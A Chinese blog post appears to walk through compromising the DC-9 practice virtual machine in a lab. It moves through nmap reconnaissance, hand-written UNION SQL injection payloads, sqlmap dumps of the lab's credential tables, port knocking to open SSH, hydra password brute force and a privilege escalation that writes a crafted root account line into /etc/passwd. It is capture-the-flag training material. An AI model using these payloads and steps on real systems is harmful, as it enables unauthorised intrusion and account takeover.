渗透测试实战-DC-9-靶机入侵

191 阅读5分钟

​​本文已参与「新人创作礼」活动,一起开启掘金创作之路。

信息收集

nmap

nmap -sP 192.168.1.2/24 -oN nmap.sP

nmap -A 192.168.1.172 -p- -oN nmap.A

whatweb

whatweb 192.168.1.172

御剑

访问其80端口

可能存在sql注入

使用bp 抓包分析

1' union select 1,2,3,4,5,6#

”脱库“

手动注入

1' union select 1,2,3,4,5,database()#

数据表

1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema = database()#

users表中字段

1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'#

users 表中信息

1' union select 1,2,3,4,5,group_concat(UserID,Username,Password)from Users#

sqlmap

vim sqlmap.post

POST /results.php HTTP/1.1

Host: 192.168.1.172

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 121

DNT: 1

Connection: close

Referer: http://192.168.1.172/search.php

Upgrade-Insecure-Requests: 1



search=1

sqlmap -r sqlmap.post --dbs

sqlmap -r sqlmap.post -D users --tables

sqlmap -r sqlmap.post -D users -T UserDetails --dump

 id   | lastname   | reg_date            | username  | firstname | password      |

+------+------------+---------------------+-----------+-----------+---------------+

| 10   | Tribbiani  | 2019-12-29 16:58:26 | joeyt     | Joey      | Passw0rd      |

| 11   | Green      | 2019-12-29 16:58:26 | rachelg   | Rachel    | yN72#dsd      |

| 12   | Geller     | 2019-12-29 16:58:26 | rossg     | Ross      | ILoveRachel   |

| 13   | Geller     | 2019-12-29 16:58:26 | monicag   | Monica    | 3248dsds7s    |

| 14   | Buffay     | 2019-12-29 16:58:26 | phoebeb   | Phoebe    | smellycats    |

| 15   | McScoots   | 2019-12-29 16:58:26 | scoots    | Scooter   | YR3BVxxxw87   |

| 16   | Trump      | 2019-12-29 16:58:26 | janitor   | Donald    | Ilovepeepee   |

| 17   | Morrison   | 2019-12-29 16:58:28 | janitor2  | Scott     | Hawaii-Five-0 |

| 1    | Moe        | 2019-12-29 16:58:26 | marym     | Mary      | 3kfs86sfd     |

| 2    | Dooley     | 2019-12-29 16:58:26 | julied    | Julie     | 468sfdfsd2    |

| 3    | Flintstone | 2019-12-29 16:58:26 | fredf     | Fred      | 4sfd87sfd1    |

| 4    | Rubble     | 2019-12-29 16:58:26 | barneyr   | Barney    | RocksOff      |

| 5    | Cat        | 2019-12-29 16:58:26 | tomc      | Tom       | TC&TheBoyz    |

| 6    | Mouse      | 2019-12-29 16:58:26 | jerrym    | Jerry     | B8m#48sd      |

| 7    | Flintstone | 2019-12-29 16:58:26 | wilmaf    | Wilma     | Pebbles       |

| 8    | Rubble     | 2019-12-29 16:58:26 | bettyr    | Betty     | BamBam01      |

| 9    | Bing       | 2019-12-29 16:58:26 | chandlerb | Chandler  | UrAG0D!  

列出当前数据库名

sqlmap -r sqlmap.post --current-db

sqlmap -r sqlmap.post -D Staff --tables

sqlmap -r sqlmap.post -D Staff -T Users --dump

+--------+----------+----------------------------------+

| UserID | Username | Password                         |

+--------+----------+----------------------------------+

| 1      | admin    | 856f5de590ef37314e7c3bdf6f8a66dc |

+--------+----------+----------------------------------+

MD5 在线解密 MD5免费在线解密破解_MD5在线加密-SOMD5

得到账密 [admin/transorbital1]

使用该账密成功登录网站后台

猜测存在文件包含

使用BP 爆破

knockd-开启ssh

开始我们测试ssh端口关闭,wp一波,发现是knockd 保护了22端口

knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,也可以直接用nc敲击端口。

关于knockd 服务的详细信息,如何使用knockd让黑客看不见你的服务器? - 知乎

查看器配置文件/etc/knockd.conf

File does not exist

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

[closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

也就是说我们可以通过依次命中 7469,8475,9842 端口来开启ssh 端口

当然也可以通过依次命中 9842,8475,7469 端口来关闭ssh 端口

使用nmap 或nc 来敲击7469,8475,9842 端口,实现敲门

nc:

nc 192.168.1.172 7469

nc 192.168.1.172 8475

nc 192.168.1.172 9842

nmap -p 22 192.168.1.172

nmap:

nmap -p 7469 192.168.1.172

nmap -p 8475 192.168.1.172

nmap -p 9842 192.168.1.172

nmap -p 22 192.168.1.172

现在靶机的22端口已经打开了

hydra爆破

前面我们在数据库Users 中得到的用户名和密码可以尝试进行爆破

构建密码字典

vim user.dic

joeyt

rachelg

rossg

monicag

phoebeb

scoots

janitor

janitor2

marym

julied

fredf

barneyr

tomc

jerrym

wilmaf

bettyr

chandlerb

vim psswd.dic

Passw0rd

yN72#dsd

ILoveRachel

3248dsds7s

smellycats

YR3BVxxxw87

Ilovepeepee

Hawaii-Five-0

3kfs86sfd

468sfdfsd2

4sfd87sfd1

RocksOff

TC&TheBoyz

B8m#48sd

Pebbles

BamBam01

UrAG0D!

hydra -L user.dic -P passwd.dic ssh://192.168.1.172 -o hydra.ssh -vV

[22][ssh] host: 192.168.1.172   login: janitor   password: Ilovepeepee

[22][ssh] host: 192.168.1.172   login: chandlerb   password: UrAG0D!

janitor 用户成功登录

使用ls -la 命令查看是否存在隐藏文件

在隐藏文件目录下得到登录密码

vim passwd2.dic

BamBam01

Passw0rd

smellycats

P0Lic#10-4

B4-Tru3-001

4uGU5T-NiGHts

hydra -L user.dic -P passwd2.dic ssh://192.168.1.172

[22][ssh] host: 192.168.1.172   login: fredf   password: B4-Tru3-001

使用 fredf 用户成功登录

提权

sudo -l

find /opt/ -name "test.py"

sys.argv[] 第一个参数就是程序本身即test.py,我们可以再传入两个参数

当传入的参数为三个时,会执行else 分支,会将第二个参数的读出写入到第三个的末尾,后面两个参数如何构造很关键

我们想到了 可以在构建一个新的用户,使其具有root 权限

ggg:11zvluQcGrrxmrJD3E$B0NB.AXX2HLDgl1kxJxqKoYj7T3uksMrSh0oYgrmm5ILJw.OschYBPlHUAHDsyjJKfbILfmKykLN8xHTgdQi80:0:0:root:/root:/bin/bash

将其写入到一个/tmp/sroot 文件中 /tmp/sroot 作为第二个参数,将其内容读出,写入到/etc/passwd 文件中,那第三个参数自然就是/etc/passwd

输入passwd:root 成功提权

拿到flag